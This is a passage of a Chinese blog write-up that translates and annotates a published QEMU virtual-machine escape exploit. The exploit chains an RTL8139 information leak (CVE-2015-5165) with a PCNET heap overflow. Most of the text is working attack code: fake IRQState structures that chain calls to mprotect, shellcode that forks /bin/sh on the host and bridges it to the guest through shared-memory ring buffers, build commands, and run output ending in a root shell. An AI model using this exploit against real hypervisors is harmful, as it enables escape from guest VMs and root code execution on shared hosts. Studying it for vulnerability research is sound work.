fcs = crc_compute(ptr, 4);
printf("[+] current crc = %010p, required crc = \n", fcs);

fcs = crc_reverse(fcs, 0xdeadbeef);
printf("[+] applying patch = %010p\n", fcs);
buffer[1] = fcs;

fcs = crc_compute(ptr, 8);
if (fcs == 0xdeadbeef)
printf("[+] crc patched successfully\n");
}

漏洞利用

漏洞利用首先将网卡设置为默认模式,之后配置Tx和Rx描述缓冲区,最后初始化网卡,重启网卡使设置生效

之后就是发一个触发堆溢出漏洞的数据包,如下所示,qemu_set_irq调用了一个损坏的irq->handler地址——0x7f66deadbeef。qemu就会崩溃,因为那是一个非法的地址。

1
2
3
4
5
6
7
8
9
(gdb) shell ps -e | grep qemu
8335 pts/4 00:00:03 qemu-system-x86
(gdb) attach 8335
...
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007f669ce6c363 in qemu_set_irq (irq=0x7f66deadbeef, level=0)
43 irq->handler(irq->opaque, irq->n, level);

这是我实践的截图,由于要取irq的handler的值,由于irq是0x5555deadbf1f,这个地址是不可读的,所以崩溃了

将上面两个漏洞结合起来实现完整利用

这一小节,结合前两个漏洞进行虚拟机逃逸,并使用qemu的权限在主机上执行代码

首先,我们使用CVE-2015-5165来重构qemu的内存布局(其实就是信息泄露),更确切地说,是获得下面的一些地址以绕过ASLR保护:

  • guest虚拟机的物理内存基址,在漏洞利用中,我们需要在虚拟机里面申请分配一些内存,获得这个内存在qemu虚拟地址空间的精确地址
  • .text 段的基址,这可以让我们获得qemu_set_irq()函数的地址
  • .plt段的基址,这可以让我们知道一些函数的地址,比如fork()和execv()函数,他们可以用来构建我们的shellcode。我们mprotect() 函数来改变guest虚拟机的物理地址的权限——记住,分配给guest虚拟机的“物理地址”是不可执行的(即qemu的mmap出来的地址)。

控制RIP

在上面我们是可以控制rip寄存器的。假如我们想不然qemu崩溃,我们得溢出PCNET网卡的buffer使得irq结构指向一个我们伪造的IRQState,那就会call我们想调用的函数了。

首先,我们可能会尝试构建一个假的IRQState结构去调用system函数,然而这会失败,因为一些qemu映射的内存fork之后不能使用这段内存,更确切的说是mmap的物理内存有MADV_DONTFORK标记。(具体可以看这里http://man7.org/linux/man-pages/man2/madvise.2.html , 搜索MADV_DONTFORK关键字)

1
qemu_madvise(new_block->host, new_block->max_length, QEMU_MADV_DONTFORK);

调用execv()也是没用的,因为这样我们会是去对guest虚拟机的控制权

还有一种想法是我们可以构造一种shellcode——将几个假的IRQState连起来去调用多个函数,因为PCNET网卡模拟器或调用好几次qemu_set_irq()。然而我们发现这样子更方便更可靠——我们先开启shellcode所在内存页的PROT_EXEC标志,之后再执行shellcode。

我们现在的想法是构造两个假的IRQState结构。第一个结构用于调用mprotect(),第二个就用于调用shellcode——这个shellcode首先撤销MADV_DONTFORK标志,之后执行一个在guest虚拟机和主机之间可交互的shell。

如前所述,但qemu_set_irq()被调用,它有两个参数——irq (指向 IRQstate 的结构体) 和 level (IRQ level),之后如下所示调用handler:

1
2
3
4
5
6
7
void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;

irq->handler(irq->opaque, irq->n, level);
}

如上,我们只能控制前两个参数,那么有三个参数的mprotect(),我们如何调用呢?

为了解决这个问题,我们使qemu_set_irq()调用自身,其中参数如下:(其实就是将handler设置为qemu_set_irq函数的地址,我们即可控制level,这操作牛逼)

  • irq: 指向假的IRQState,其中handler指针指向mprotect()函数
  • level: mprotect的flag设置为: PROT_READ | PROT_WRITE | PROT_EXEC

这是通过设置两个假的IRQState来实现的,代码片段如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct IRQState {
uint8_t _nothing[44];
uint64_t handler;
uint64_t arg_1;
int32_t arg_2;
};

struct IRQState fake_irq[2];
hptr_t fake_irq_mem = gva_to_hva(fake_irq);

/* do qemu_set_irq */
fake_irq[0].handler = qemu_set_irq_addr;
fake_irq[0].arg_1 = fake_irq_mem + sizeof(struct IRQState);
fake_irq[0].arg_2 = PROT_READ | PROT_WRITE | PROT_EXEC;

/* do mprotect */
fake_irq[1].handler = mprotec_addrt;
fake_irq[1].arg_1 = (fake_irq_mem >> PAGE_SHIFT) << PAGE_SHIFT;
fake_irq[1].arg_2 = PAGE_SIZE;

那么现在,就是溢出后,qemu_set_irq()调用了一个fake handler,而这个handler就是qemu_set_irq()自身,这可以将level参数设置为7,而这个是mprotect说需要的,那么之后就是调用mprotect函数了。

内存现在是可执行的了,我们可以通过将第一个IRQState的handler指向我们的shellcode地址,之后就可以将控制权交给我们的交互式shell。

payload.fake_irq[0].handler = shellcode_addr;
payload.fake_irq[0].arg_1 = shellcode_data;

交互式shell

我们可以写一个基础的shellcode——在shell绑定到netcat的某个端口上,之后通过其他计算机连接这个shell。这是一个满意的解决方案,但是我们最好能够规避防火墙。我们可以利用guest虚拟机和主机之间的共享内存来构建一个bindshell。

利用qemu的漏洞有一点微妙,我们在guest虚拟机写的代码,在qemu进程的内存中是可用的。所以我们不用注入shellcode,我们可以共享代码,使它在guest虚拟机运行,之后攻击host主机。

下面总结了在host主机和guest虚拟机之间的共享内存和进程,线程。

我们创建两个共享的环形buffer(in和out)并提供通过自旋锁访问这些共享内存区域读/写的原语。在host主机上,我们运行一段shellcode——运行一个 /bin/sh 的shell,并且复制它的 stdin 和 stdout 文件描述符。我们创建两个线程,第一个从共享内存读取命令并通过管道传递给shell,第二个线程读取shell的输出(从第二个管道读),之后将他们写到共享内存。

guest虚拟机也有两个线程,第一个线程将用户输入的命令写到共享内存上,第二个线程从共享内存中读取到的输出stdout

请注意,在我们的exp中,我们有第三个线程(还有一个专用的共享内存)来处理stderr的输出

下面其实看图更加清晰:

VM-Escape Exploit

在这一小节,我们概述完整exp(vm-escape.c)的主要结构和函数。

注入的payload由下面的结构体定义:

1
2
3
4
5
6
7
struct payload {
struct IRQState fake_irq[2];
struct shared_data shared_data;
uint8_t shellcode[1024];
uint8_t pipe_fd2r[1024];
uint8_t pipe_r2fd[1024];
};

上面的fake_irq是一对假的IRQState结构体,目的是调用mprotect()去改变我们paylaod所在页面的保护为可读可写可执行。

结构体shared_data是用于将参数传递给主shellcode的。

1
2
3
4
5
6
7
struct shared_data {
struct GOT got;
uint8_t shell[64];
hptr_t addr;
struct shared_io shared_io;
volatile int done;
};

got结构体充当全局偏移表(Global Offset Table,即GOT表),它包含了shellcode所需的主要函数的地址,这些地址是我们是通过信息泄露获得的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct GOT {
typeof(open) *open;
typeof(close) *close;
typeof(read) *read;
typeof(write) *write;
typeof(dup2) *dup2;
typeof(pipe) *pipe;
typeof(fork) *fork;
typeof(execv) *execv;
typeof(malloc) *malloc;
typeof(madvise) *madvise;
typeof(pthread_create) *pthread_create;
typeof(pipe_r2fd) *pipe_r2fd;
typeof(pipe_fd2r) *pipe_fd2r;
};

主shellcode是由下面的结构体定义的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/* main code to run after %rip control */
void shellcode(struct shared_data *shared_data)
{
pthread_t t_in, t_out, t_err;
int in_fds[2], out_fds[2], err_fds[2];
struct brwpipe *in, *out, *err;
char *args[2] = { shared_data->shell, NULL };

// 判断shared_data->done,避免shellcode函数运行多次
if (shared_data->done) {
return;
}
// 设置shared_data->addr为MADV_DOFORK,即去除MADV_DONTFORK标记
shared_data->got.madvise((uint64_t *)shared_data->addr,
PHY_RAM, MADV_DOFORK);

//创建三个管道,分别是输入,输出和错误的
shared_data->got.pipe(in_fds);
shared_data->got.pipe(out_fds);
shared_data->got.pipe(err_fds);

//申请内存
in = shared_data->got.malloc(sizeof(struct brwpipe));
out = shared_data->got.malloc(sizeof(struct brwpipe));
err = shared_data->got.malloc(sizeof(struct brwpipe));

//给brwpipe传递数据
in->got = &shared_data->got;
out->got = &shared_data->got;
err->got = &shared_data->got;

in->fd = in_fds[1];
out->fd = out_fds[0];
err->fd = err_fds[0];

in->ring = &shared_data->shared_io.in;
out->ring = &shared_data->shared_io.out;
err->ring = &shared_data->shared_io.err;

if (shared_data->got.fork() == 0) {
// 子进程
// 关闭in_fds的输出,out_fds和err_fds的输入
//之后就是分别复制到0,1,2
//最后执行shellcode
shared_data->got.close(in_fds[1]);
shared_data->got.close(out_fds[0]);
shared_data->got.close(err_fds[0]);
shared_data->got.dup2(in_fds[0], 0);
shared_data->got.dup2(out_fds[1], 1);
shared_data->got.dup2(err_fds[1], 2);
//那么shell的执行标准输入、标准输出和标准错误分别对应in_fds[0],out_fds[1],err_fds[1]
shared_data->got.execv(shared_data->shell, args);
}
else {
// 父进程,与子进程的close刚好相反
shared_data->got.close(in_fds[0]);
shared_data->got.close(out_fds[1]);
shared_data->got.close(err_fds[1]);


//创建三个线程
//从共享内存读,之后写到in->fd,即 in_fds[1]
shared_data->got.pthread_create(&t_in, NULL,
shared_data->got.pipe_r2fd, in);
//从out->fd(即out_fds[0])读,之后写到共享内存
shared_data->got.pthread_create(&t_out, NULL,
shared_data->got.pipe_fd2r, out);
//从err->fd读(即err_fds[0]),之后写到共享内存
shared_data->got.pthread_create(&t_err, NULL,
shared_data->got.pipe_fd2r, err);

//设置shared_data->done为1
shared_data->done = 1;
}
}

上面的shellcode()函数首先检查一下 shared_data->done,避免shellcode()函数执行多次(因为qemu_set_irq会被qemu代码调用多次,而qemu_set_irq又会调用shellcode函数)

shellcode()函数之后调用madvise()函数这是撤销shared_data->addr pointing的MADV_DONTFORK标志,这可以确保fork之后内存映射还是可用的。

shellcode()函数接下来是创建了一个子进程——就是启动一个shell(“/bin/sh”)。父进程则启动了3个线程,到共享内存区域将shell命令从guest虚拟机传递到host主机,之后将这些命令执行结果的输出给回guest虚拟机。父进程与子进程的通信则通过管道来通信。

如下所示,共享内存区域包含一个环形缓冲区,可以通过sm_read() 和 sm_write()原语进行访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
struct shared_ring_buf {
volatile bool lock;
bool empty;
uint8_t head;
uint8_t tail;
uint8_t buf[SHARED_BUFFER_SIZE];
};

static inline
__attribute__((always_inline))
ssize_t sm_read(struct GOT *got, struct shared_ring_buf *ring,
char *out, ssize_t len)
{
ssize_t read = 0, available = 0;

do {
/* spin lock */
while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED));

if (ring->head > ring->tail) { // loop on ring
available = SHARED_BUFFER_SIZE - ring->head;
} else {
available = ring->tail - ring->head;
if (available == 0 && !ring->empty) {
available = SHARED_BUFFER_SIZE - ring->head;
}
}
available = MIN(len - read, available);

imemcpy(out, ring->buf + ring->head, available);
read += available;
out += available;
ring->head += available;

if (ring->head == SHARED_BUFFER_SIZE)
ring->head = 0;

if (available != 0 && ring->head == ring->tail)
ring->empty = true;

__atomic_clear(&ring->lock, __ATOMIC_RELAXED);
} while (available != 0 || read == 0);

return read;
}

static inline
__attribute__((always_inline))
ssize_t sm_write(struct GOT *got, struct shared_ring_buf *ring,
char *in, ssize_t len)
{
ssize_t written = 0, available = 0;

do {
/* spin lock */
while (__atomic_test_and_set(&ring->lock, __ATOMIC_RELAXED));

if (ring->tail > ring->head) { // loop on ring
available = SHARED_BUFFER_SIZE - ring->tail;
} else {
available = ring->head - ring->tail;
if (available == 0 && ring->empty) {
available = SHARED_BUFFER_SIZE - ring->tail;
}
}
available = MIN(len - written, available);

imemcpy(ring->buf + ring->tail, in, available);
written += available;
in += available;
ring->tail += available;

if (ring->tail == SHARED_BUFFER_SIZE)
ring->tail = 0;

if (available != 0)
ring->empty = false;

__atomic_clear(&ring->lock, __ATOMIC_RELAXED);
} while (written != len);

return written;
}

上面的两个原语是由下面的线程函数使用的。第一个是从共享内存区域读取数据,然后写到一个文件描述符中。第二个的话是从文件描述符中读取,然后写到共享内存区域

These primitives are used by the following threads function. The first one
reads data from a shared memory area and writes it to a file descriptor.
The second one reads data from a file descriptor and writes it to a shared
memory area.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void *pipe_r2fd(void *_brwpipe)
{
struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;
char buf[SHARED_BUFFER_SIZE];
ssize_t len;

while (true) {
len = sm_read(brwpipe->got, brwpipe->ring, buf, sizeof(buf));
if (len > 0)
brwpipe->got->write(brwpipe->fd, buf, len);
}

return NULL;
} SHELLCODE(pipe_r2fd)

void *pipe_fd2r(void *_brwpipe)
{
struct brwpipe *brwpipe = (struct brwpipe *)_brwpipe;
char buf[SHARED_BUFFER_SIZE];
ssize_t len;

while (true) {
len = brwpipe->got->read(brwpipe->fd, buf, sizeof(buf));
if (len < 0) {
return NULL;
} else if (len > 0) {
len = sm_write(brwpipe->got, brwpipe->ring, buf, len);
}
}

return NULL;
}

注意代码里面的这些函数是共享于host主机和guest虚拟机。这些线程也在guest虚拟机实例化,读取用户输入的命令,之后复制他们专用的共享内存区域(in这个变量的共享内存区域)。还有将命令的输出写到共享内存区域(out和err这两个变量共享内存)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
void session(struct shared_io *shared_io)
{
size_t len;
pthread_t t_in, t_out, t_err;
struct GOT got;
struct brwpipe *in, *out, *err;

got.read = &read;
got.write = &write;

warnx("[!] enjoy your shell");
fputs(COLOR_SHELL, stderr);

in = malloc(sizeof(struct brwpipe));
out = malloc(sizeof(struct brwpipe));
err = malloc(sizeof(struct brwpipe));

in->got = &got;
out->got = &got;
err->got = &got;

in->fd = STDIN_FILENO;
out->fd = STDOUT_FILENO;
err->fd = STDERR_FILENO;

in->ring = &shared_io->in;
out->ring = &shared_io->out;
err->ring = &shared_io->err;

pthread_create(&t_in, NULL, pipe_fd2r, in);
pthread_create(&t_out, NULL, pipe_r2fd, out);
pthread_create(&t_err, NULL, pipe_r2fd, err);

pthread_join(t_in, NULL);
pthread_join(t_out, NULL);
pthread_join(t_err, NULL);
}

上面我们讨论说明了共享内存,在guest和host里面运行的进程/线程。

这个exploit作者使用了gcc 4.9.2进行编译。未来适应特定的qemu,作者提供了一个shell脚本(build-exploit.sh)来输出一个qemu.h头文件,其实获得的是各种我们需要的函数什么的偏移。

使用方法如下

1
$ ./build-exploit <path-to-qemu-binary> > qemu.h

编译直接-o会出错,得加个-pthread

1
gcc vm-escape.c -pthread -o vm-escape

Running the full exploit (vm-escape.c) will result in the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./vm-escape
$ exploit: [+] found 190 potential ObjectProperty structs in memory
$ exploit: [+] .text mapped at 0x7fb6c55c3620
$ exploit: [+] mprotect mapped at 0x7fb6c55c0f10
$ exploit: [+] qemu_set_irq mapped at 0x7fb6c5795347
$ exploit: [+] VM physical memory mapped at 0x7fb630000000
$ exploit: [+] payload at 0x7fb6a8913000
$ exploit: [+] patching packet ...
$ exploit: [+] running first attack stage
$ exploit: [+] running shellcode at 0x7fb6a89132d0
$ exploit: [!] enjoy your shell
$ shell > id
$ uid=0(root) gid=0(root) ...

由于我的实验环境的内核编译的时候应该没有加入CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE这个选项,所以irq指针是在qemu的堆里面,而不在qemu给guest所mmap出来的内存里面,而我们又只能溢出4个字节,所以只能失败

局限性

请注意,目前的漏洞利用仍然是不可靠的。在测试环境中(Debian 7 running a 3.16 kernel on x_86_64 arch),10次中大概有1次是失败的。在大多数失败的情况中,exp不能重构qemu的内存布局,因为泄露的数据是不可用的(其实就是泄露的数据不靠谱,导致计算出的其他函数的地址是错误的)

同样exploit也不适用于内核编译没有加入CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE标志的。这种情况下,qemu二进制程序(默认加入-fPIE进行编译)会映射到单独的内存地址空间中,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
55e5e3fdd000-55e5e4594000 r-xp 00000000 fe:01 6940407   [qemu-system-x86_64]
55e5e4794000-55e5e4862000 r--p 005b7000 fe:01 6940407 ...
55e5e4862000-55e5e48e3000 rw-p 00685000 fe:01 6940407 ...
55e5e48e3000-55e5e4d71000 rw-p 00000000 00:00 0
55e5e6156000-55e5e7931000 rw-p 00000000 00:00 0 [heap]

7fb80b4f5000-7fb80c000000 rw-p 00000000 00:00 0
7fb80c000000-7fb88c000000 rw-p 00000000 00:00 0 [2 GB of RAM]
7fb88c000000-7fb88c915000 rw-p 00000000 00:00 0
...
7fb89b6a0000-7fb89b6cb000 r-xp 00000000 fe:01 794385 [first shared lib]
7fb89b6cb000-7fb89b8cb000 ---p 0002b000 fe:01 794385 ...
7fb89b8cb000-7fb89b8cc000 r--p 0002b000 fe:01 794385 ...
7fb89b8cc000-7fb89b8cd000 rw-p 0002c000 fe:01 794385 ...
...
7ffd8f8f8000-7ffd8f91a000 rw-p 00000000 00:00 0 [stack]
7ffd8f970000-7ffd8f972000 r--p 00000000 00:00 0 [vvar]
7ffd8f972000-7ffd8f974000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

因此,我们的4字节溢出不足以覆盖irq指针(因为地址在0x55xxxxxxxxxx处的堆中)指向我们假的IRQState结构,而IRQState结构在0x7fxxxxxxxxxx

总结

在本文中,我们展示了QEMU的网络设备模拟器的两个漏洞。 这些漏洞利用的结合使得突破VM并在主机上执行代码成为可能。

在这项工作中,我们可能会crash我们的测试VM1000次。 调试不成功的漏洞利用会很繁琐,特别是,使用复杂的shellcode函数去多进程,而一个进程又启动多个线程。因此,我们希望已经提供了足够的技术细节以及可以重复用于进一步利用QEMU的通用技术。

感谢

原作者的感谢的话我就不贴出来了

实验源码

下面文章的Source Code部分有uuencode编码的内容,将begin…end之间拷贝到一个文件——命名为666.txt(你喜欢什么名字都可以)

执行命令

uudecode 666.txt

就得到vm_escape.tar.gz,再解压就可以了

Reference

http://phrack.org/papers/vm-escape-qemu-case-study.html

自愿打赏专区